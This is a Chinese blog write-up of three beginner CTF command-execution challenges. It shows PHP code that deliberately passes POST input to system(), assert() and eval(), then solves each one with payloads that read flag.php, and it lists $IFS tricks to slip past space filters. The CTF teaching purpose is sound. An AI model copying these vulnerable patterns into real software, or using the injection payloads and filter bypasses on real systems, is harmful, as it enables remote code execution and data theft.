• 云尘 命令执行系列


    第一题 system

    1. include "flag.php";
    2. if (isset($_POST['cmd'])) {
    3. system($_POST['cmd']);
    4. }
    5. show_source(__FILE__);

    代码如上

    system($_POST['cmd']);

    POST请求发送一个名为 cmd 的参数,然后将该参数的值传递给系统命令执行函数 system(),这意味着可以发送任意系统命令并执行它们。

    我们用post方式传入cmd=cat flag.php

    得到flag

    第二题 assert

    代码如下

    1. include "flag.php";
    2. //assert("phpinfo()");
    3. if (isset($_POST['cmd'])) {
    4. $a = $_POST['cmd'];
    5. assert($a);
    6. }
    7. show_source(__FILE__);

     代码审计

    assert($a);

    //assert() 函数它允许执行任意的PHP代码字符串。在这里,它被用来执行 $a 变量中的代码。这意味着用户可以通过POST请求的 "cmd" 参数注入并执行他们想要的PHP代码

    show_source(__FILE__);

    //show_source() 函数用于显示当前脚本的源代码。这意味着通过浏览器访问这个脚本时,您将能够看到脚本的源代码,包括 flag.php 文件的内容

    if (isset($_POST['cmd']))

    //这个条件检查是否存在名为 "cmd" 的POST请求参数。

    $a = $_POST['cmd'];

    //如果 "cmd" 参数存在,它的值被赋给了变量 $a

    我们用cmd执行system命令中的读取flag命令,得到flag

    第三题  签到1-eval

    1. include "flag.php";
    2. if (isset ($_POST['cmd'])) {
    3. eval($_POST['cmd']);
    4. }
    5. show_source(__FILE__);

    代码如上

    我们post个cmd,让cmd去执行system系统命令

    cmd=system(' cat flag.php');

    payload:

    知识点:

    • php insert函数

    isset() 函数用于检测变量是否已设置并且非 NULL

    若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

    同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

    • php assert函数

    assert() 函数它允许执行任意的PHP代码字符串

    • system函数

    在c语言代码中,cmd命令,皆可以字符串形式,作为system函数的参数,调用system函数执行命令

    (注意,如,system("color f4"),命令是放在一对双引号里的

    • 文件读取命令

    使用cat命令 cat flag.php

    使用tac命令 tac flag.php

    绕过空格过滤 cat${IFS}flag.php

                cat$IFS$1flag.php

  • 相关阅读:
    数据在内存中的存储(2)
    react-native在模拟器调试时不能连接开发服务器:Could not connect to development server.
    机器学习(8)——特征工程(2)
    POE调试案例
    ps制作gif动图
    js基础笔记学习319练习2
    大厂面试题-索引的底层实现,为什么选择B+Tree而不是红黑树?
    无代码数据导出入门教程
    Zabbix Centos8 安装笔记
    【‘Integer(int)‘ 已经过时了】
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134275384